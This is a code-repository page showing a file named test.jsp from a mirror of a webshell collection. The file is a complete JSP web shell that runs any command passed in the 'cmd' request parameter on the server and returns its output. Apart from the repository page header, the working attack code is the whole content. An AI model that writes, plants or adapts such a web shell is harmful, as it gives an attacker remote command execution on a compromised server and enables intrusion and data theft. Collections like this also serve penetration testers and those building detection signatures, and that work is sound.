1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 12:51:28 +00:00
Files
webshell/jsp/test.jsp

4 lines
451 B
Plaintext

1234<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } }
out.println(output);%>